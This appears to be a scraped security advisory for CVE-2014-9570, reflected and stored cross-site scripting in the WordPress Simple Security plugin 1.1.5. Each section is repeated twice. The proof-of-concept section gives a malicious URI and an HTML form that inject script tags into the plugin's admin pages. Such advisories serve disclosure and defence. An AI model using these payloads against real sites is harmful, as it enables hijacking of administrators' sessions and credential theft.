WordPress Simple Security Plugin '/wp-admin/users.php' Multiple Cross Site Scripting Vulnerabilities
BID:72076
Info
WordPress Simple Security Plugin '/wp-admin/users.php' Multiple Cross Site Scripting Vulnerabilities
| Bugtraq ID: | 72076 |
| Class: | Input Validation Error |
| CVE: |
CVE-2014-9570 |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 14 2015 12:00AM |
| Updated: | Jan 14 2015 12:00AM |
| Credit: | High-Tech Bridge Security Research Lab |
| Vulnerable: | |
| Not Vulnerable: | |
Discussion
WordPress Simple Security Plugin '/wp-admin/users.php' Multiple Cross Site Scripting Vulnerabilities
The Simple Security plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
Simple Security 1.1.5 is vulnerable; other versions may also be affected.
The Simple Security plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
Simple Security 1.1.5 is vulnerable; other versions may also be affected.
Exploit / POC
WordPress Simple Security Plugin '/wp-admin/users.php' Multiple Cross Site Scripting Vulnerabilities
To exploit these issues, an attacker must entice an unsuspecting victim to follow a malicious URI.
The following example URI and request are available:
http://www.example.com/wp-admin/users.php?page=access_log&datefilter=%27%22%3E%3Cscript%3Ealert%28/ImmuniWeb/%29;%3C/script%3E
<form action="http://www.example.com/wp-admin/users.php?page=ip_blacklist"; method="post" name="main">
<input type="hidden" name="page" value="access_log">
<input type="hidden" name="action" value="add_blacklist_ip">
<input type="hidden" name="simple_security_ip_blacklist[]" value="'><script>alert('ImmuniWeb');</script>">
<input type="submit" id="btn">
</form>
To exploit these issues, an attacker must entice an unsuspecting victim to follow a malicious URI.
The following example URI and request are available:
http://www.example.com/wp-admin/users.php?page=access_log&datefilter=%27%22%3E%3Cscript%3Ealert%28/ImmuniWeb/%29;%3C/script%3E
<form action="http://www.example.com/wp-admin/users.php?page=ip_blacklist"; method="post" name="main">
<input type="hidden" name="page" value="access_log">
<input type="hidden" name="action" value="add_blacklist_ip">
<input type="hidden" name="simple_security_ip_blacklist[]" value="'><script>alert('ImmuniWeb');</script>">
<input type="submit" id="btn">
</form>
Solution / Fix
WordPress Simple Security Plugin '/wp-admin/users.php' Multiple Cross Site Scripting Vulnerabilities
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].